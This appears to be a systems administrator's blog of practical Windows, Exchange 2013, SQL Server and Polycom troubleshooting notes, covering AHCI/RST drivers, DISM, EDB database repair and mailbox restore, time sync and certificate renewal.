CPUID or HWINFO. Lastly, I'll say that you only need the RST if you are running in AHCI or RAID mode. If not, then you can use the chipset drivers. Here's how: • 1 -if you are in IDE mode, change to AHCI mode: For Windows 7, change the registry. In cmd (as admin), type: echo y | reg add "HKLM\System\CurrentControlSet\Services\Msahci" /v Start /d 0 For Windows 10, set to boot into safe mode with msconfig. You will need your local admin password, no domain or Microsoft accounts can access safe mode. • 2 -reboot • 3 -In the bios, the SATA drive should be set to AHCI (not IDE). Dell systems automatically are set to RST/RAID. I guess so that it is flexible in case someone wants to setup a RAID, they can without too much difficulty. Also, there is a little boost in performance. I have witnessed the extremely slow systems due to incorrect RST drivers, even on new systems. The RST drivers need to be updated as this is can be a limiting factor. In some cases (Optiplex/Inspirion All in One pc's), Dell is not providing updated RST drivers and you must source them from Intel. • 4 -reboot. For Windows 10, set to boot into normal mode with msconfig. • 5 -reboot. • 6 -install the newest RST drivers for your chipset. NOTES: -https://support.microsoft.com/en-us/help/922976/ -SSD's should be set to RAID/RST as there will be a little boost in performance. -ICH10R can only go to RST v11. -as of this writing the RST v15 is the newest. -you will need a couple of reboots, in case you couldn't tell. -use HWinfo to get the motherboard chipset. -it will say something like "QM77 series." That is the "Mobile 7 Series." -Mobile 7 Series pairs with IRST v13 available at the Intel web site. -the Intel-Update utility does not update the IRST to the newest version automatically. -again, the Dell web site does not provide updated RST drivers and you must source them from Intel. -for IRST, there are DRIVERS and there is the IRST program. You need the drivers (typically x64). The program is not needed. -device-manager > storage-controllers -right-click > properties -driver > update-driver -browse-my-computer > path to the newest IRST drivers. ## Quickbooks 2011 on Mac El Capitan Don't believe QUICKBOOKS support when they tell you that you have to upgrade to the newest version of QUICKBOOKS for MAC. QUICKBOOKS 2011 will work fine. In the spirit of "just fix it" here's how: ## Windows Package Manager You're familiar with RPM. Windows has a similar package manager. Windows has something similar for Windows packages only. It should be called WPM for Windows Package Manager but it's called DISM for Deployment Image Servicing and Management. <tirade>Can they not come up with something all by themselves that works? Must they continuously ripoff open-source projects and change a certain percentage so that they can get around law? Then be so terrible at implementation that it would be graded as a D project?</tirade> Show all Windows packages: dism /online /get-packages /Format:Table Find if a certain package is installed: dism /online /get-packages |findstr KB2919355 Remove package: dism /online /remove-package /packagename:Package_for_KB2919355~31bf3856ad364e35~amd64~~~6.3.1.14 Scan to see if there is corruption: dism /online /cleanup-image /scanhealth Report if there is corruption: dism /online /cleanup-image /checkhealth Repair if there is corruption: dism /online /cleanup-image /restorehealth Restore to a source image: dism /online /cleanup-image /restorehealth /source:wim:d:\your\source\here\install.wim:1 /limitaccess Remove old versions of packages: dism /online /cleanup-image /startcomponentcleanup Lock in all packages and service-package so that they cannot be uninstalled: dism /online /cleanup-image /startcomponentcleanup /resetbase ## Bad Sectors on Disk Check for Bad Sectors Check to see if you have bad sectors on a disk: • -use HDTUNE This will give a graphical representation of any bad sectors on the disk. It will mark it as red. If you have bad sectors, it isn't the end of the world. We can mark them as bad so that those sectors won't be used any more. If you have 1-9 bad sectors, this isn't a problem. If you have more than 9 then most likely the issue will grow. More bad sectors will show and then the drive will become useless. Fix Bad Sectors Fix bad sectors on a disk: • -use UBCD > HDD > DIAGNOSTICS > HDAT2 • -type: HDAT2 • -select the disk by using the arrows keys on keyboard. • -hit ENTER. • -select DEVICE TESTS MENU • -select DETECT AND FIX BAD SECTORS MENU • -select VERIFY/WRITE/VERIFY • -let it run all the way through. In my experience, if too many bad sectors happen, it's easier to clone the drive and move on with the data loss. At that point, the data might be able to be replaced/repaired. Cloning can be done with Clonzilla or many other tools. I prefer DDRESCUE as in this article. Again, there are so manu tools in this area like DATA-LIFEGUARD, SEATOOLS, CRYSTALDISKINFO, etc that it's hard to know what to use and what not to bother with. The above reference of: • HDTUNE • HDAT2 • DDRESCUE is a good start. I wish I retained all the info I've learned and used in the past but most of it escapes me now. No doubt that a data expert will have his or her own choice set of tools. I'd love to hear about them! ## Dell Optiplex Wake On Lan Doesn't Work Dell Optiplex Wake On Lan doesn't work even though the Wake On Lan setting is enabled. ### SOLUTION This is because the DEEP SLEEP setting is ENABLED in the BIOS. • -enter BIOS. • -expand POWER-MANAGEMENT. • -click DISABLED. • -click SAVE. If that doesn't work, make sure the BIOS is the newest version. ## Polycom Phone Set is "Not Registered" A Polycom Phone Set (Fonality) is saying NOT REGISTERED in the http://cp.fonality.com ( I guess this could be any Polycom Phone Set and Asterisk.) Basically, the EXTENSION PASSWORD has to be typed into the PHONE SET. Here's how: • -open CP.FONALITY.COM • -click USERS/EXTENSION > VIEW USERS (at the top). • -click the EXTENSION you need to fix. • -expand the EXTENSION section (at the bottom). • -find SIP PASSWORD (on the right). • -click SHOW This should show you the SIP PASSWORD which will be a random set of letters and numbers. • -find the IP of the phone set you want to change. • -login to that phone set via a web browser. • -USER: Polycom (case-sensitive) (or possibly there is no USER). • -PASS: 456 (or possibly the Fonality default password of: 9418941962). • -click LINES (or possibly SIMPLE-SETUP > SIP LINE IDENTIFICATION) • -find the PASSWORD area. • -USER: should be the MAC of the phone (do not change this if something is already there). • -type in the password that it showed from the first section. What threw me for a loop here is that the first time around, the SIP PASSWORD section wasn't showing. If the SIP PASSWORD section doesn't show: • -click APPLY ALL CHANGES (at the bottom) (yes, without changing anything). • -afterwards, the section should show. ### UPDATE If you have to manually do this: -updated phone to newest firmware. -cd /tftpboot -changed the <mac>.cfg to refer the newest *.ld file -ensure that the user is in the /etc/asterisk/sip.conf file. (case-sensitive) -changed the <mac>-reg-basic.cfg to use the username/password that is in the sip.conf file. (case-sensitive) -change the polycom.UC4.1.8.device-<site>.cfg to TFTP from the local server (rather than FTP to the hq server). NOTES: -the <mac>.cfg should just have the rest of the *.cfg files. -the <mac>-reg-basic.cfg will have the setting for the phone-set to make calls. -the <mac>-features.cfg will have the features of the phone such as background, volume, etc -the <mac>-phone.cfg will have the phone overrides. Settings set by changing the settings on the phone set itself. -the <mac>-web.cfg will have the web overrides. Settings set by changing the settings on the web site itself. -the polycom.UC4.1.8.device-<site>.cfg will have the FTP/TFTP settings. You're awesome! ## Redirect HTTP to HTTPS in Exchange 2013 You have an EXCHANGE 2013 server. This web site works: https://mail.domain.tld This web site does not work: http://mail.domain.tld You get an error message: "HTTP ERROR 403.3 - Forbidden. The page you are tryig to acces is a secured with Secure Sockets Layer (SSL)." or "Server Error: 403 - Forbidden: Access is denied." Here's how to fix: • -open SERVER-MANAGER • -click TOOLS > INTERNET INFORMATION SERVICES MANAGER (IIS) • -expand SERVER > SITES > DEFAULT-WEB-SITE • -click ERROR PAGES (in the middle). • -click ADD (on the right). • -type: 403.4 (in STATUS CODE). • -bullet RESPOND WITH A 302 REDIRECT • -type: https://mail.domain.tld • -click OK. First of all, this can happen for many reasons. However, in my experience, this happens because the web site is required to have HTTPS and not HTTP. What is amazing here is a perfect scenario of different people groups think differently. Accordingly, the amount of mis-information on this is mind-boggling and complex. For example, one MS article recommends to turn off SSL: https://support.microsoft.com/en-us/kb/2839692 Ummm, that's a big NO. Recommending to do so is simply irresponsible. Others recommend a complex setup for a URL-REWRITE, like this https://www.youtube.com/watch?v=U7USHit5mhY Ummm, that's also a big NO. Others recommend to do a HTTP REDIRECT on the OWA section of the web site: https://www.itsupportguides.com/exchange-2010/exchange-2010-outlook-web-access-error-403-access-is-denied/ Ummm, that's also a big NO. In fact, doing so will kill access to EXCHANGE altogether. Like usual, the only way I found to handle this was through a comment on a random blog article here: https://www.sslshopper.com/iis7-redirect-http-to-https.html ## Exchange 2013 EDB File Repair and Restore Messing around with EXCHANGE 2013 EDB files can be tricky. It's best to have a plan before you start typing in commands. Here's my cheat-sheet. ### REPAIR THE EDB FILE & MOUNT RECOVERY EDB Again from last time, you can do this with StorageCraft. Paying the license is worth the hassle it saves and more affordable than dealing with MS SUPPORT. MAKE A COPY OF THE EDB & THE LOG FILES I don't care how you do it, just do it. If it takes 2 hours to do, then wait the 2 hours for the copy to happen. If you have to run to the store to buy a spare HD, then run to the store. !!!DO NOT BE CARELESS WITH THE EDB FILE!!! Rather, perform your work on a working-copy.$cd e:\exchange-repair\working-copy

CHECK TO SEE THE STATE
$eseutil /mh '.\Mailbox Database FOO.edb' SOFT RECOVERY$eseutil /r E00 /l E:\exchange-repair\working-copy /d E:\exchange-repair\working-copy

CHECK TO SEE THE STATE
$eseutil /mh '.\Mailbox Database FOO.edb' HARD RECOVERY (IF NECESSARY)$eseutil /p '.\Mailbox Database FOO.edb'
(!!!CAUTION!!!: performing this will render the database with data loss.)

CONNECT THE RECOVRY DATABASE
$New-MailboxDatabase -Server exchange-server-name -Name RecoveryDB -Recovery -EdbFilePath 'E:\exchange-repair\working-copy\Mailbox Database FOO.edb' -LogFolderPath 'E:\exchange-repair\working-copy\recoverylogs' DISMOUNT THE CURRENT RECOVERY DATABASE$dismount-database RDB
(There can only be 1 recovery database mounted at any one time. There can be more than 1 recovery datase connected. See the difference between CONNECTED & MOUNTED?

MOUNT THE RECOVERY DATABASE
$Mount-Database RecoveryDB ### CHECK THE STATS OF THE RECOVERY DATABASE CHECK THE STATS OF THE ENTIRE RECOVERY DATABASE$Get-MailboxStatistics -Database RecoveryDB | ft -auto

CHECK THE STATS OF THE CURRRENT USER-MAILBOX
$Get-MailboxStatistics foo.user CHECK THE STATS OF THE RECOVERY USER-MAILBOX$Get-MailboxStatistics -Database RecoveryDB | where mailboxguid -eq 24b5b78e-9396-456f-9ece-a5acaeb3e3e7

### RESTORE MAILBOX FROM A RECOVERY DATABASE

The RESTORE requires DisplayName, MailboxGUID, or LegacyExchangeDN. The most exact is the MAILBOXGUID since the DisplayName can be lengthy with spaces.

GET THE MailboxGUID:
$Get-MailboxStatistics -Database RecoveryDB | ?{$_.DisplayName -like 'FirstNameHere*'} | fl DisplayName,MailboxGuid,DisconnectDate

It will spit out the mailbox accounts that match along with the GUIDs.

RESTORE THE RECOVERY USER-MAILBOX
$New-MailboxRestoreRequest -SourceDatabase RecoveryDB -SourceStoreMailbox 28282f8e-e37b-4965-9dea-4e8658fada43 -TargetMailbox foo.user -AllowLegacyDNMismatch -see the status of all the requests:$Get-MailboxRestoreRequest

-see detail status of individual request:
$Get-MailboxRestoreRequestStatistics -Identity "foo.user\MailboxRestore" -see the detail status of all the requests:$Get-MailboxRestoreRequest | Get-MailboxRestoreRequestStatistics

-the request hangs around until you stop it. They are not automatically cleared. Only run this when the request is complete.
$Remove-MailboxRestoreRequest -Identity "foo.user\MailboxRestore" -or remove all the completed requests:$Get-MailboxRestoreRequest -Status Completed | Remove-MailboxRestoreRequest

### IMPORT A PST INTO THE EDB

Sometimes a user has the pst from their laptop and you can import that pst back into the edb. Don't worry, by default it doesn't duplicate items.

First, enable the import/export of .pst into a mailbox as it is not turned on by default:
$New-ManagementRoleAssignment -Role "Mailbox Import Export" -SecurityGroup "Organization Management" -restart EMS (this means shut down your powershell and open it back up ;-)) -import a PST file into a user's primary mailbox (NOTE: By default, the import checks for duplication of items and doesn't copy the data from the .pst file into the mailbox or archive if a matching item exists in the target mailbox or target archive.) -you have to use the new-mailboximportrequest command. It requires UNC path (eg: \\exchange-server\foo-folder$). It will not work with an absolute path (C:\foo-folder\recovered.pst). Definitely an oversight.
-create an easy folder (i.e.: c:\foo-folder\)
-share the folder as a hidden share by putting a dollar-sign ($) behind the name (foo-folder$).
(NTFS and Share permissions)

-import the pst:
$New-MailboxImportRequest -FilePath \\exchange-server\foo-folder$\Recovered.pst -Mailbox foo.user

-see the status of the import request:
$get-mailboximportrequest -see the details of the import request:$Get-MailboxImportRequestStatistics -Identity foo.user\mailboximport

-the request hangs around until you stop it. They are not automatically cleared. Only run this when the request is complete.
$Remove-MailboxImportRequest -Identity "foo.user\MailboxImport" -or remove all the completed requests:$Get-MailboxImportRequest -Status Completed | Remove-MailboxImportRequest

### SEE MOVE REQUESTS

Hopefully, the syntax is becoming clearer. Let's see if you know what this is...

$Get-MoveRequest$Get-MoveRequest | $Get-MoveRequestStatistics$Get-MoveRequest -MoveStatus Completed | Remove-MoveRequest

### EXPORT PST FROM EDB

If for some reason you need to export a pst from the edb, you can do that too. Again, it can only be done to a UNC (eg: \\exchange-server\foo-folder$). It cannot be done to an absolute path (C:\foo-folder\recovered.pst). Definitely an oversight.$New-MailboxExportRequest -Mailbox foo.user -FilePath "\\exchange-server\recovery$\foo.user.recovered.pst"$Get-MailboxExportRequest
$Get-MailboxExportRequest | Get-MailboxExportRequestStatistics$Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

### MAILBOX REPLICATION SERVICE (MRS)

Throttling is done by the MRS. It it configured here:
C:\Program Files\Microsoft\Exchange Server\V15\Bin\MsExchangeMailboxReplication.exe.config

Do not try to mass import/export/move, unless you know what you are doing. The default settings for the MRS will most definitely bite you. The processes will error out and eventually die after 12 hours.

I wouldn't do more than 20 at a time. There's too many switches. Basically, the more you do at a time, the more resources it takes. The more resources it takes, the longer it takes. If you hit 12 hours, the request stalls. Yes, you can configure all of these settings if you really want to.

### NOTES

• Transferring from EDB into an empty mailbox is preferred. In my experience, it is much better. In my experience, mailbox to mailbox misses items and pst to mailbox misses items too.
• If you can, import into a dummy mailbox account so that you can test and approve the contents before you import it into the real mailbox.

What can I say?

• PDQ
• Lansweeper
• LogicNow
• Matrix42

## Exchange 2013 Failed to Mount Database

### MY EXPERIENCE

Ughhh.... Users report that they can't access their email. Message is, "Microsoft.Exchange.Data.Stoarage.MailboxOfflineException"

Ok, so the Mailbox is offline. Why is it offline?

The database for the Exchange 2013 is broken into 3 different groups.

• A-H
• I-P
• Q-Z

Databases I-P & Q-Z are working fine but database A-H won't mount.

Why won't it mount? It won't mount because it is corrupt.

How did it get like this? It got like this because EXCHANGE 2013 uses EDB files. It is a single file that stores everything. This file grows. Sooner or later it craps out. I'm not sure why but my guess is on NTFS.

If I check the EVENT LOG > APPLICATION, I see,

"Active Manager failed to mount the database Mailbox A-H. Error: An Active Manager operation failed. Error: The database action failed. Error: Operation failed with message: MapiExceptionDatabaseError: Unable to mount database. (hr=0x80004005, ec=1108)"

It gets worse, I'm also getting:
"Microsoft Exchange Information Store worker process (18152) has encountered and unexpected database error (Disk IO error) for database Mailbox A-H with a call stack of..."

And still worse:
"Database copy Mailbox A-H on this server appears to have a serious I/O error." "Service recovery was attempted by failover to another copy. Failover was unsuccessful in restoring the service. Error: There is only one copy of this mailbox database. Automatic recovery is not available."

And worse:
"Information Store - Mailbox A-H ; Database recovery/resotre failed with unexpected error - 1022"

And worse:
"Information store - Mailbox A-H: An attempt to write to the file "C:\Program Files\Microsoft\Exchange\V15\Mailbox\Mailbox Database 1889704935\Mailbox Database 1889704935.edb" at offset... bytes failed after 0.000 seconds with system error 665. The requested operation could not be complete due to a file system limitation. The writer operation will fail with error - 1022. If this error persists then the file may be damaged and may need to be restored from a previous backup."

All of this to say that the database is corrupt.

We got 2 options:

1. restore from backup.
2. repair database.

To repair:

• cd \
• cd \Program Files\Microsoft\Exchange Server\V15\Mailbox\Mailbox Database Foo\
• eseutil /mh ".\database-name.edb"
• eseutil /p ".\database-name.edb" /g

Then I moved all the log files away from Exchange log folder. First create a backup-directory, then move all the files into the backup-directory:

• mkdir bkp
• move * bkp

Then move the database-file.edb back where it came from:

• cd bkp
• move database-name.edb ..\

Now defrag the database-file.edb:

• eseutil /d database-file.edb

Now check to see if the database-file.edb is OK:

• eseutil /mh ".\database-name.edb"

Finally, mount the database:

• $Mount-Database "database-name" NOTE: you can run eseutil.exe /mh without effect. It is informational only. In the end, it was easier to create a new database-name.edb and import the items needed via edbmails. Don't ask me why it took more than 24 hours to get to a solution that should have been the first option. This is exactly why I keep a note of items here. ### MS SUPPORT Luckily, I called MS support. So you get the short of the conversation without having to pay ;-) -too many log files. -database file is too large. It is 539GB. -ran eseutil /mh ".\database-name.edb" -error 1811. Bad news. -stop MS Exchange Information Store -uninstall Veeam Backup -get-mailboxdatabase -get-mailboxdatabasecopystatus * -wait for the databases to mount. -shows "Dismounted" -event-viewer > application and they see the same errors I already found. -uninstall some programs that might be accessing the file. -ran eseutil /mh ".\database-name.edb" -error 1032. This means it's being used somewhere. -storagecraft was trying to mount it. -stop storagecraft service -ran ran eseutil /mh ".\database-name.edb" -success -see that the log-required is lengthy -sequence is from E000015CD80 to E000015CDCF -created new folder & moved the sequence into this new folder -ran eseutil /ml ".\database-folder\new folder\E00" -"no damaged log files were found" -ran eseutil /r E00 /d ".\database-name\new folder" /l "new-folder" /S "new-folder" /a -ran eseutil /r E00 /d ".\database-name\new folder" /l "new-folder" /S "new-folder" /i -ran eseutil /mh ".\database-name.edb" ### NEW PLAN -copy the database-name.edb -start a new database-name.edb (this will get everyone receiving email) -repair the database-name.edb -merge the file back into the new-database-name.edb INFO GATHER -get-exchangeserver | fl name,*admin*,*role*,*site* -repair is 5-6GB per hour -ran eseutil /p ".\old-database-name.edb" -merge into new-database-name.edb [PS] c:\users\admin> cd "C:\Program Files\Microsoft\Exchange Server\V14\Bin" [PS] C:\Program Files\Microsoft\Exchange Server\V14\Bin>eseutil /r E00 /i /l 'Y:\ExchangeRestore\Mailbox Database' / 'Y:\ExchangeRestore\Mailbox Database' FINDINGS StorageCraft to the rescue again with Granular Recovery for Exchange. Testing it out now... OK, I'm back. The StorageCraft GRE is a good tool. It does what eseutil should do but makes it easy for the stressed out administrator. It also has the added benefit of having granular restore. You can restore just one email. If you have the budget, I recommend it. It's way better than EDBMAILS and other software I've tried. ## Setting Windows Time - w32tm Here's how this goes. There should only be one NTP SERVER on the network. You can have more but it would be redundant. ### SERVER / NON-DOMAIN COMPUTERS The domain-server should be set to sync with an external source. • -open POWERSHELL (as admin) •$w32tm /config /syncfromflags:manual /manualpeerlist:"0.pool.ntp.org 1.pool.ntp.org 2.pool.ntp.org 3.pool.ntp.org" /reliable:yes /update
• $stop-service w32time •$sc stop w32time
• $start-service w32time •$sc start w32time

### DOMAIN COMPUTERS

The domain-clients should automatically get their time from the server. If for some reason, a domain-client doesn't, then force it:

• $w32tm /config /syncfromflags:domhier /update •$stop-service w32time
• $sc stop w32time •$start-service w32time
• Internal: $w32tm /config /syncfromflags:manual /manualpeerlist:192.168.1.1 /reliable:yes /update ### You can check the config: •$w32tm /query /configuration
• $w32tm /query /status •$w32tm /query /source
• External-check: $w32tm /monitor /computers:pool.ntp.org • Internal-check:$w32tm /monitor /computers:192.168.1.1

Some recommend (I have not tried this):

• -force the VIRTUAL-HOST to use an external source via regedits
• (HKLM/SYSTEM\CURRENTCONTROLSET\SERVICES\W32TIME\TIMEPROVIDERS\NTPSERVER\ENABLED: 1)
• -set the external: $w32tm /config /syncfromflags:manual /manualpeerlist:"0.pool.ntp.org 1.pool.ntp.org 2.pool.ntp.org 3.pool.ntp.org" /reliable:yes /update •$stop-service w32time
• $start-service w32time • -then set the VIRTUAL-OS to use the internal VIRTUAL-HOST:$w32tm /config /syncfromflags:manual /manualpeerlist:192.168.1.1 /reliable:yes /update
• (rather than through INTEGRATION SERVICES)
• $stop-service w32time •$start-service w32time

Some recommend (I have not tried this):

-set the VIRTUAL-OS to use the internal VIRTUAL-HOST via INTEGRATON SERVICES

The issue is usually around the vmitimesync.

I'll update this when needed. So far, I simply sync'd to external on 1 server and sync'd everything else to that. Seems to work. I'll post when I run into issues.

## Expired Certificate on Exchange 2013

So your CERTIFICATE expired on your EXCHANGE 2013. No one can access email and you are being innundated with phone calls, pop-ins and text messages to notify you that "email isn't working" or "OUTLOOK isn't working."

We've all been there. If not, you will be there some day. Sometimes this even happens on very large email systems. There was a similar story recently where google.com didn't register their domain name (http://www.businessinsider.com/this-guy-bought-googlecom-from-google-for-one-minute-2015-9).
[I like to put these story links in here to let you know that you are not alone. It happens to just about everyone.]

This happens because CERTIFICATES are installed for multiple years terms; 2 years, 3 years, 5 years, 10 years, etc. And the expiration notices are going to a non-personal email account that no one regularly checks (like This e-mail address is being protected from spambots. You need JavaScript enabled to view it ) or to an email account that doesn't exist anymore.

Then the certificate expires and you wake up to voicemails and texts if you are in a worldwide company.

It's best to have a plan written out so you can follow it to fix quickly rather than use that time as a learning experience. Let me say it again with emphasis... FIX IT AS FAST AS POSSIBLE!

Here's how:

## ACCESS THE CERTIFICATES ON THE SERVER

• -click SERVER-MANAGER.
• -click TOOLS > IIS MANAGER.
• -click YOUR-SERVER-NAME (on the left-hand side).
• -double-click SERVER-CERTIFICATES (in the middle).

This will list out all the PERSONAL CERTIFICATES installed on the server. You will see the expired certificate in the list.

## RECORD THE SUBJECT ALTERNATIVE NAMES

Before you go any further, view the expired-certificate to write down the SUBJECT ALTERNATIVE NAMEs

• -click on the EXPIRED-CERTIFICATE.
• -click VIEW (on the right-hand side).
• -click DETAILS (at the top).
• -scroll down to SUBJECT ALTERNATIVE NAME.
• -write down all the names (in the lower box at the bottom).

The reason this is important is because if you are access an email server called "mail.domain.tld" via a web site and you don't have that SUBJECT ALTERNATIVE NAME in the CERTIFICATE, then it will complain. And since EXCHANGE needs to have the local FULL QUALIFIED DOMAIN NAME (FQDN) (ie server.domain.tld), the EXTERNAL DOMAIN NAME (mail.domain.tld) and the AUTODISCOVERY NAME (autodiscover.domain.tld), it's important not to miss one of the names. If you do, you have to re-issue the CERTIFICATE and it can lead to longer down time.

## CREATE A CERTIFICATE REQUEST (or CSR)

• -click CREATE CERTIFICATE REQUEST (on the right-hand side).
• COMMON NAME: domain.tld
• ORGANIZATION: Company Name
• ORGANIZATION UNIT: Domain Control Validated
• CITY: Jupiter
• STATE: FL
• COUNTRY: us
• For Cryptographic service provider, select "Microsoft RSA SChannel Cryptographic Provider".
For Bit length, select 2048 or higher, and then click Next.
• -save the CSR on the server and call it mail.domain.tld.csr
• -this is a typical text file. Open it up with NOTEPAD.
• -copy the entire contents (yes, even the "-----BEGIN NEW CERTIFICATE REQUEST-----")
• -paste it into the web ONLINE APPLICATION (in your account at GODADDY, ENOM, NETWORK-SOLUTIONS, etc).
• -wait a few minutes (about 2 minutes).
• -download it. It will be named mail.domain.tld.cer and it might have an INTERMEDIATE CERTIFICATE.

## INSTALL THE INTERMEDIATE CERTIFICATE

The INTERMEDIATE CERTIFICATE must be installed.

There are ROOT CERTIFICATES installed on every device. These come from companies named like EQUIFAX, GEOTRUST, VERISIGN, THAWTE, GTE, MICROSOFT, etc. These are installed during the time of OS installation or through an update. In this case, Windows Update. But it can also happen durning iOS update.

Sometimes these ROOT COMPANIES can be viewed as manufacturers who do not do business with end-users directly. You have to use a dealer of their product.

Consequently, these dealers need to be installed. These come from companies named like RAPIDSSL, GODADDY, etc.

Let's install the INTERMEDIATE CERTIFICATE:

• -click START > RUN
• -type: mmc
• -click FILE > ADD/REMOVE-SNAP-IN (at the top).
• -select CERTIFICATES (from the list on the left).
• -click ADD (in the middle).
• -bullet COMPUTER ACCOUNT.
• -click FINISH > OK (at the bottom).

The CERTIFICATE MANAGER shows. On the left are the different STORES and in the middle are the different CERTIFICATES.

• -click to expand the CERTIFICATES (on the left-hand side).
• -right-click INTERMEDIATE CERTIFICATION AUTHORITIES
• -click NEXT > BROWSE
• -find FILE-NAME (at the very bottom).
• -select "PKCS #7 CERTIFICATES (*.spc;*.p7b)" (in the dropdown to the right).
• -click NEXT
• -select PLACE ALL CERTIFICATES IN THE FOLLOWING STORE
• -click BROWSE
• -select INTERMEDIATE CERTIFICATE AUTHORITIES.
• -click OK
• -click NEXT > FINISH
• -exit out of the window.
• -click NO (when it asks if you want to save).

## INSTALL THE CERTIFICATE

• -click SERVER-MANAGER.
• -click TOOLS > IIS MANAGER.
• -click YOUR-SERVER-NAME (on the left-hand side).
• -double-click SERVER-CERTIFICATES (in the middle).
• -click COMPLETE CERTIFICATE REQUEST (on the right-hand side).
• -type a "Friendly Name": mail.domain.tld
• -select PERSONAL (for the CERTIFICATE STORE).
• -click OK
• -the CERTIFICATE should now show in your list of CERTIFICATES
• -if needed, highlight the EXPIRED-CERTIFICATE and click REMOVE (on the right-hand side)

## BIND THE CERTIFICATE TO SERVICE

Even though the CERTIFICATE is installed. It isn't being used until you BIND the CERTIFICATE to the service (SMTP, WEBSITE, etc).

### BIND TO EXCHANGE BACK END

• -click to expand the SERVER-NAME (on the left-hand side).
• -click to expand SITES (on the left-hand side).
• -you will see all the WEBSITES (on your server). Typically, there is DEFAULT-WEB-SITE & EXCHANGE-BACK-END
• -click EXCHANGE-BACK-END
• -click BINDINGS (on the right-hand side)
• -select HTTPS-444-* (in the middle)
• -click EDIT (on the right-hand side)
• -select mail.domain.tld (in the dropdown selection under SSL CERTIFICATE
• -click OK > CLOSE

### BIND TO WEBMAIL

• -click DEFAULT WEB SITE (on the left-hand side)
• -click BINDINGS (on the right-hand side)
• -select HTTPS-443-* (in the middle)
• -click EDIT (on the right-hand side)
• -select mail.domain.tld (in the dropdown selection under SSL CERTIFICATE
• -click OK
• -select HTTPS-443-127.0.0.1 (in the middle)
• -click EDIT (on the right-hand side)
• -select mail.domain.tld (in the dropdown selection under SSL CERTIFICATE
• -click OK > CLOSE

### RESTART IIS

• -right-click the SERVER-NAME (on the left-hand side).
• -click STOP
• -wait for it to stop. It might take 2 minutes or so.
• -right-click the SERVER-NAME (on the left-hand side).
• -click START

That should do it!!! Visit your web site at mail.domain.tld and you should be OK with the CERTIFICATE. With this plan in place, you should be able to fix your certificate issue within a few minutes.

## MS SQL Setup

MS SQL setup is a PITA. Here are a few of my notes:

1-the install package is the only way to install databases. In other words, if you have one database and you want another, you have to go through the setup process again. So keep that SQL INSTALLATION SETUP file on the system.

2-the versions are wacky. There is:

• SQL - costs for license.
• SQL EXPRESS - free for up to 10GB.
• SQL CE (or compact edition) - Meant to be used in use with an application.
• SQLITE - I don't know what this is for.

3-to connect and manage the SQL, you have to install SQL MANAGEMENT STUDIO. Think of this as their version of PHPMYADMIN. It can actually control different versions at the same time. It can control a 2012 SQL database and a 2014 SQL database at the same time.

4-which leads me to my next point. SQL versions can coincide. Both 2012 and 2014 can run at the same time.

5-permissions are wacky. They just are. They can be either SQL permissions or they can be WINDOWS permissions. But even if you use SQL permissions, you might have to setup WINDOWS permissions anyway. This is for a local LAN installation.

6-when you install, it automatically adds your USERNAME as the owner of the database. This is required so that you can add/remove other user permissions.

(good video to explain the below: https://www.youtube.com/watch?v=gsr8ID2pY-A&feature=youtu.be)

• expand the DATABASE-INSTANCE name.
• expand the SECURITY folder

Here, you can see where the permission can be either WINDOWS or SQL.

I find it's easier to use the WINDOWS AUTHENTICATION (although it doesn't seem like it should be so). The reason is that when the APP SERVICE runs (whatever APP is being used), the SERVICE is being run as the current-logged-in-user. I find (and this may be incorrect) that if you use the SQL SERVER AUTHENTICATION (like I want to), then you also have to go back and add the current-logged-in-user as well. This can add up to quite the number if you have many users.

To get around this, I add a specific DATABASE-USER account in ACTIVE-DIRECTORY. Then I change all the APP SERVICE on the clients machines to run as the DATABASE-USER (rather than the current-logged-in-user). This is done in SERVICES.MSC. Then I add that DATABASE-USER to the permissions on the SQL MANAGEMENT STUDIO.

• select the DATABASE-USER.
• leave the rest as the defaults.

Now you have to add this user to the DATABASE.

• select USER MAPPING (on the left-hand side).
• select the DATABASE you are controlling.
• click OK (at the bottom).

After this is done (and only after), you now have to add permissions to the DATABASE for this user.

• expand the DATABASES folder.
• right-click the DATABASE name.
• select PROPERTIES (at the bottom).
• click PERMISSIONS (on the left).
• select the USER (in the list).
• place a CHECKMARK in the GRANT column for the following
• DELETE, EXECUTE, INSERT, SELECT, UPDATE

8 -for the client machine to see and connect to the SQL DATABASE, you have to allow the port through the firewall.

9 -the port for each instance is randomly assigned.

10 - to find the port number, you have to use the SQL SERVER CONFIGURATION MANAGER.

• open the SQL SERVER CONFIGURATION MANAGER.
• click SQL SERVER NETWORK CONFIGURATION (on the left-hand side).
• click on the DATABASE you are working on.
• double-click TCP/IP (on the right-hand side).
• click IP ADDRESSES (at the top)
• scroll to the bottom.
• find TCP DYNAMIC PORTS
• mine says 51772

11 -you have to allow 2 PORTS through the WINDOWS FIREWALL.

• random assigned TCP port.
• UDP PORT 1434 (notice that this is a UDP PORT, not a TCP port).

I will post more as I come across.

## Windows Update Location

Here is the location for Windows update:

Looking to see if a package is installed?

• -start > run
• -type: cmd
• -click OK
• -type: dism /online /get-packages | findstr 3035583

## ATA, AHCI, RAID Selection

You have the following options in the DELL BIOS:

SATA, AHCI, RAID.

What do you choose?

Choose AHCI.

Afterwards, make sure you have the following installed in the correct order:

• -CHIPSET DRIVERS
• -MANAGEMENT-ENGINE
• -INTEL RST

While many sites claim that you must make your selection in the BIOS before WINDOWS-OS install, we don't accpet that around here. Of course it can be changed. But you'll need to make sure that the WINDOWS has the correct drivers enabled to start up.

For ACHI:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\atapi

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\msahci

For RAID:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\iaStorV

As a last resort, if that doesn't work, the incorrect drivers might be installed. Here's how to install the correct drivers.

This also applies when the motherboard is changed by DELL PRO SUPPORT and new drivers might need to be installed.

• -find your motherboard model number.
• -extract them to the C drive (for example: c:\drivers\chipset)
• -boot into REPAIR MODE or start with WINDOWS OS INSTALL media (usb, CD, PXE, etc).
• -click REPAIR YOUR COMPUTER (bottom-left).
• -click COMMAND PROMPT.
• -find what letter your WINDOWS-DIRECTORY is.
• -type: dism /image:e:\ /add-driver /Driver:e:\install\chipset\ /recurse
• -hit ENTER
• -type EXIT
• -reboot

It may take awhile to reboot but it will install the correct drivers and start up fine.

## Inspecting Hardware Info

Don't know why I've never had to do this before but in the past working with SolidWorks and Dell Precision Machines, I've found the need to inspect hardware detail information. This can be done in the following ways:

## Exchange 2013 Get-Mailbox Only Returns Myself

